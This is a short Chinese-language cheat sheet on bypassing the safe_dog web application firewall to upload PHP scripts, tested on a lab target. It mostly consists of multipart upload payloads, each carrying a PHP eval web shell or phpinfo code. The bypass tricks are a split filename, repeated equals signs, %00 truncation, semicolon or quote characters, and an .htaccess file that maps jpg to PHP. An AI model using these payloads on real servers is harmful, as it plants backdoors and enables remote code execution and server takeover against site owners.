文件上传
文件上传实质上还是客户端的POST请求，消息主体是一些上传信息。前端上传页面需要指定
enctype为multipart/from-data才能正常上传文件。
此处不讲各种中间件解析漏洞只列举集几种safe_dog对脚本文件上传拦截的绕过
靶机环境：win2003+safe_dog4.0.23957+webug中的上传
1、换行
Content-Disposition: form-data; name="file"; filename="1.p
hp"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
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2、多个等号(不止2，3个)
Content-Disposition: form-data; name="file"; filename=="2.php"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
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Content-Disposition: form-data; name="file"; filename==="3.php"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
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3、00截断
Content-Disposition: form-data; name="file"; filename="4.php%00"
Content-Type: image/jpeg
<?php @eval($_POST[1])?>
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4、文件名+；号
Content-Disposition: form-data; name="file"; filename="6;.php"
Content-Type: image/jpeg
<?php phpinfo()?>
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5、文件名+‘
Content-Disposition: form-data; name="file"; filename="7'.php"
Content-Type: image/jpeg
<?php phpinfo()?>
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6、上传.htaccess
Content-Disposition: form-data; name="file"; filename=".htaccess"
Content-Type: image/jpeg
AddType application/x-httpd-php jpg
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